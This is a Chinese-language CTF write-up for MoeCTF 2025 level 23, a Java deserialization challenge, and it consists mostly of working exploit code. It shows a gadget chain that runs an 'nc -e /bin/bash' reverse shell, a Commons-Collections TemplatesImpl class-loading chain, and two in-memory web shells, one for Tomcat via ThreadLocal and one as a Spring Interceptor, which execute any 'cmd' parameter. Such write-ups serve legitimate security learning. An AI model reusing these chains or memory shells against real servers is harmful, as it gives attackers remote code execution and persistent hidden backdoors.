moectf 2025 第23关

常规做法

直接给出exp吧,挺有意思的,感觉写的没问题(但是没反弹成功),本地的calc,也正常执行了(虽然反序列化前会执行一次)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import com.example.demo.Dog.Dog;  
import com.example.demo.Dog.DogService;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class shell {
public static void setfiled(Object o,String name,Object value) throws NoSuchFieldException {
Class<?> aClass = o.getClass();
Field declaredField = aClass.getDeclaredField(name);
declaredField.setAccessible(true);
try {
declaredField.set(o,value);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}

public static Dog makeDog(Object object,String methodName,Class[] paramTypes,Object[] args) throws NoSuchFieldException {
Dog dog = new Dog(1, "1", "1", 1);
setfiled(dog,"object",object);
setfiled(dog,"methodName",methodName);
setfiled(dog,"paramTypes",paramTypes);
setfiled(dog,"args",args);
return dog;
}

public static void main(String[] args) throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
String[] cmd = new String[]{"nc", "-e", "/bin/bash", "127.0.0.1", "5000"};

HashMap map = new HashMap();

Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getDeclaredMethod("getRuntime");
// getRuntime.setAccessible(true);
// Object invoke = getRuntime.invoke(null, null);
// Method exec = runtimeClass.getDeclaredMethod("exec");
// exec.setAccessible(true);
// exec.invoke(invoke,"calc");

Dog dog1 = makeDog(runtimeClass, "getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
Dog dog2 = makeDog(dog1, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Dog dog3 = makeDog(dog2,"exec",new Class[]{String.class}, new Object[]{cmd});

map.put(1,dog1);
map.put(2,dog2);
map.put(3,dog3);

DogService dogService = new DogService();
Class<? extends DogService> aClass = dogService.getClass();
Field declaredField = aClass.getDeclaredField("dogs");
declaredField.setAccessible(true);
declaredField.set(dogService,map);

HashMap map1 = new HashMap();
Dog dog = makeDog(dogService, "chainWagTail", null, null);

map1.put(dog,1);

String serilize = serilize(map1);
System.out.println(serilize);
// try {
// deserilize(serilize);
// } catch (ClassNotFoundException e) {
// throw new RuntimeException(e);
// }



}

public static String serilize(Object object) throws NoSuchFieldException, IllegalAccessException, IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void deserilize(String s) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(s));
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}



}

使用类加载

接着看了一下wp,这题也可以进行类加载,其实在cc链中,我们使用的类加载一般都是TemplatesImpl,需要调用newTransformer方法,然后一路触发调用到definclass。但是我们一般会卡到对TemplatesImpl的调用,在cc链中可以使用以下方法调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3_2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "cc3");
Field _bytecodes = c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class"));
byte[][] _b = {b};
_bytecodes.set(templates, _b);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

// Transformer[] T = {
// new ConstantTransformer(TrAXFilter.class),
// new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
// };
// ChainedTransformer transform = new ChainedTransformer(T);
// HashMap<Object,Object> m = new HashMap();
// Map<Object,Object> m2 = LazyMap.decorate(m,transform);
// Class r = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor constructor = r.getDeclaredConstructor(Class.class, Map.class);
// constructor.setAccessible(true);
// InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,m2);
// Map o1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
// Object o2 = constructor.newInstance(Override.class, o1);

Transformer[] T = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};

ChainedTransformer transform = new ChainedTransformer(T);

HashMap<Object,Object> m = new HashMap();
Map<Object,Object> m2 = LazyMap.decorate(m,transform);
Class r = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = r.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,m2);
Map o1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o2 = constructor.newInstance(Override.class, o1);



serialize(o2);
deserialize("ser.bin");



}
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(object);
}
public static Object deserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}

这个题目中就可以使用dog的wagTail进行调用newTransformer方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package com.example.demo;  

import com.example.demo.Dog.Dog;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class EXP {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field declaredField = c.getDeclaredField("_name");
declaredField.setAccessible(true);
declaredField.set(templates,"1111");
byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class"));
byte[][] b2 = {b};
Field declaredField2 = c.getDeclaredField("_bytecodes");
declaredField2.setAccessible(true);
declaredField2.set(templates,b2);
Field declaredField3 = c.getDeclaredField("_tfactory");
declaredField3.setAccessible(true);
declaredField3.set(templates,new TransformerFactoryImpl());

Dog dog = new Dog(2,"sss,","sss",2);

HashMap<Object,Object> map = new HashMap();
map.put(dog,null);

Class c2 = dog.getClass();
Field declaredField4 = c2.getDeclaredField("object");
declaredField4.setAccessible(true);
declaredField4.set(dog,templates);
Field declaredField5 = c2.getDeclaredField("methodName");
declaredField5.setAccessible(true);
declaredField5.set(dog,"newTransformer");
Field declaredField6 = c2.getDeclaredField("paramTypes");
declaredField6.setAccessible(true);
declaredField6.set(dog,null);
Field declaredField7 = c2.getDeclaredField("args");
declaredField7.setAccessible(true);
declaredField7.set(dog,null);

String serialize = serialize(map);
System.out.println(serialize);
deserialize(serialize);


}

public static String serialize(Object object) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(object);
return Base64.getEncoder().encodeToString(baos.toByteArray());
};

public static Object deserialize(String s) throws IOException, ClassNotFoundException {
byte[] bytes = Base64.getDecoder().decode(s);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
return objectInputStream.readObject();
}



}

image.png
先试了反弹shell,成功了。

在试一下官方wp里给的回显方法

  1. ThreadLocal回显
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    //Inject_ThreadLocal.java
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.catalina.core.ApplicationFilterChain;

    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import java.io.PrintWriter;
    import java.lang.reflect.Field;
    import java.lang.reflect.Modifier;
    import java.util.Scanner;

    public class Inject_ThreadLocal extends AbstractTranslet {

    static {
    try {

    //反射获取所需属性
    java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
    java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
    java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

    //使用modifiersField反射修改final型变量
    java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
    modifiersField.setAccessible(true);
    modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
    modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
    modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
    WRAP_SAME_OBJECT_FIELD.setAccessible(true);
    lastServicedRequestField.setAccessible(true);
    lastServicedResponseField.setAccessible(true);

    //将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
    if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
    }

    if (lastServicedRequestField.get(null) == null) {
    lastServicedRequestField.set(null, new ThreadLocal<>());
    }

    if (lastServicedResponseField.get(null) == null) {
    lastServicedResponseField.set(null, new ThreadLocal<>());
    }
    ServletRequest servletRequest=null;
    if(lastServicedRequestField.get(null)!=null) {

    ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
    servletRequest = (ServletRequest) threadLocal.get();
    }

    //获取response变量
    if (lastServicedResponseField.get(null) != null) {
    ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null);
    ServletResponse servletResponse = (ServletResponse) threadLocal.get();
    PrintWriter writer = servletResponse.getWriter();
    Scanner scanner = new Scanner(Runtime.getRuntime().exec(servletRequest.getParameter("cmd")).getInputStream()).useDelimiter("\\A");
    String result = scanner.hasNext()?scanner.next():"";
    scanner.close();
    writer.write(result);
    writer.flush();
    writer.close();
    }
    } catch (Exception e) {
    e.printStackTrace();
    }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    }
    image.png
    使用方法就是先发送一次请求,在带上cmd进行命令执行
  2. Interceptor内存马
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    //Inject_ThreadLocal.java
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

    import org.springframework.web.context.WebApplicationContext;
    import org.springframework.web.context.request.RequestContextHolder;

    import org.springframework.web.servlet.HandlerInterceptor;
    import org.springframework.web.servlet.ModelAndView;
    import org.springframework.web.servlet.handler.AbstractHandlerMapping;

    import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import javax.tools.*;
    import java.io.*;

    import java.lang.reflect.Field;

    import java.net.URL;
    import java.net.URLClassLoader;
    import java.nio.file.Files;
    import java.nio.file.Path;
    import java.util.*;
    import java.util.jar.JarEntry;
    import java.util.jar.JarFile;

    public class Inject_ThreadLocal extends AbstractTranslet {
    public static Class<?> createShellInterceptor() throws Exception {
    String className = "DynamicShellInterceptor";
    String packageName = "com.dynamic.generated";
    String fullClassName = packageName + "." + className;

    String sourceCode = buildShellSourceCode(packageName, className);

    // 创建临时目录
    Path tempDir = Files.createTempDirectory("dynamic_classes");
    Path sourceDir = tempDir.resolve("src");
    Path classDir = tempDir.resolve("classes");
    Files.createDirectories(sourceDir);
    Files.createDirectories(classDir);

    // 写入源码文件
    Path sourceFile = sourceDir.resolve(className + ".java");
    Files.write(sourceFile, sourceCode.getBytes());

    // 编译
    JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
    DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<>();

    try (StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnostics, null, null)) {
    Iterable<? extends JavaFileObject> compilationUnits =
    fileManager.getJavaFileObjects(sourceFile.toFile());

    File tempLibDir = Files.createTempDirectory("boot-libs").toFile();
    String bootInfClasspath = extractBootInfLibs(new File("/app/demo.jar"), tempLibDir);

    List<String> options = Arrays.asList(
    "-d", classDir.toString(),
    "-classpath", bootInfClasspath
    );

    JavaCompiler.CompilationTask task = compiler.getTask(
    null, fileManager, diagnostics, options, null, compilationUnits);

    if (!task.call()) {
    throw new RuntimeException("编译失败: " + diagnostics.getDiagnostics());
    }

    // 加载类
    URLClassLoader classLoader = new URLClassLoader(
    new URL[]{classDir.toUri().toURL()},
    Inject_ThreadLocal.class.getClassLoader()
    );

    return classLoader.loadClass(fullClassName);
    } finally {
    // 清理临时文件

    }
    }
    public static String extractBootInfLibs(File bootJar, File extractToDir) throws IOException {
    List<String> jarPaths = new ArrayList<>();

    try (JarFile jarFile = new JarFile(bootJar)) {
    Enumeration<JarEntry> entries = jarFile.entries();

    while (entries.hasMoreElements()) {
    JarEntry entry = entries.nextElement();
    if (entry.getName().startsWith("BOOT-INF/lib/") && entry.getName().endsWith(".jar")) {
    // 提取JAR文件
    String jarName = entry.getName().substring("BOOT-INF/lib/".length());
    File outputJar = new File(extractToDir, jarName);

    // 确保父目录存在
    outputJar.getParentFile().mkdirs();

    try (InputStream is = jarFile.getInputStream(entry);
    OutputStream os = new FileOutputStream(outputJar)) {
    // 使用传统的流复制方法
    byte[] buffer = new byte[8192];
    int bytesRead;
    while ((bytesRead = is.read(buffer)) != -1) {
    os.write(buffer, 0, bytesRead);
    }
    }

    jarPaths.add(outputJar.getAbsolutePath());
    }
    }
    }

    return String.join(File.pathSeparator, jarPaths);
    }

    private static String buildShellSourceCode(String packageName, String className) {
    return "package " + packageName + ";\n\n" +
    "import javax.servlet.http.HttpServletRequest;\n" +
    "import javax.servlet.http.HttpServletResponse;\n" +
    "import org.springframework.web.servlet.HandlerInterceptor;\n" +
    "import org.springframework.web.servlet.ModelAndView;\n" +
    "import java.io.PrintWriter;\n" +
    "import java.util.Scanner;\n\n" +
    "public class " + className + " implements HandlerInterceptor {\n\n" +
    " @Override\n" +
    " public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n" +
    " String cmd = request.getParameter(\"cmd\");\n" +
    " if (cmd != null && !cmd.trim().isEmpty()) {\n" +
    " try {\n" +
    " Process process = Runtime.getRuntime().exec(cmd);\n" +
    " PrintWriter writer = response.getWriter();\n" +
    " Scanner scanner = new Scanner(process.getInputStream()).useDelimiter(\"\\\\A\");\n" +
    " String result = scanner.hasNext() ? scanner.next() : \"\";\n" +
    " scanner.close();\n" +
    " writer.write(result);\n" +
    " writer.flush();\n" +
    " writer.close();\n" +
    " return false; // 不再继续执行后续拦截器\n" +
    " } catch (Exception e) {\n" +
    " e.printStackTrace();\n" +
    " }\n" +
    " }\n" +
    " return true; // 继续执行后续拦截器\n" +
    " }\n\n" +
    " @Override\n" +
    " public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {\n" +
    " // 可选的后处理逻辑\n" +
    " }\n\n" +
    " @Override\n" +
    " public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {\n" +
    " // 清理资源\n" +
    " }\n" +
    "}";
    }
    static {
    try {
    //获取当前上下文环境
    // WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

    // 通过 context 获取 RequestMappingHandlerMapping 对象
    AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);
    Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
    field.setAccessible(true);
    ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
    Class<?> shellClass = createShellInterceptor();
    adaptedInterceptors.add(shellClass.newInstance());
    }catch (Exception e){
    e.printStackTrace();
    }

    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    }
    这个我在使用过程中爆400的错误,应该是体积太大的缘故,就让ai精简了一下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.springframework.web.context.WebApplicationContext;
    import org.springframework.web.context.request.RequestContextHolder;
    import org.springframework.web.servlet.HandlerInterceptor;
    import org.springframework.web.servlet.handler.AbstractHandlerMapping;

    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.util.ArrayList;

    public class MiniEcho extends AbstractTranslet implements HandlerInterceptor {
    static {
    try {
    // 1. 从当前请求上下文获取 Spring 容器
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

    // 2. 获取 RequestMappingHandlerMapping (Spring MVC 处理路由的核心组件)
    AbstractHandlerMapping mapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);

    // 3. 反射获取拦截器列表 adaptedInterceptors
    java.lang.reflect.Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
    field.setAccessible(true);
    ArrayList<Object> list = (ArrayList<Object>) field.get(mapping);

    // 4. 将当前类的一个实例添加到拦截器链的末尾
    list.add(new MiniEcho());
    } catch (Exception ignored) {
    // 忽略异常以防报错中断
    }
    }

    // 拦截器的核心逻辑:如果请求带了 cmd 参数,则执行并拦截请求
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    String cmd = request.getParameter("cmd");
    if (cmd != null && !cmd.isEmpty()) {
    try {
    // 执行命令
    java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
    String output = s.hasNext() ? s.next() : "";

    // 直接写入 Response 并结束请求
    response.getWriter().write(output);
    response.getWriter().flush();
    response.getWriter().close();
    return false; // 返回 false 停止后续处理(实现回显)
    } catch (Exception ignored) {}
    }
    return true;
    }

    // TemplatesImpl 必须实现的抽象方法
    @Override
    public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    @Override
    public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    image.png
    image.png
    参考:MoeCTF_2025/official_writeups/Web/Writeup.md at main · XDSEC/MoeCTF_2025 · GitHub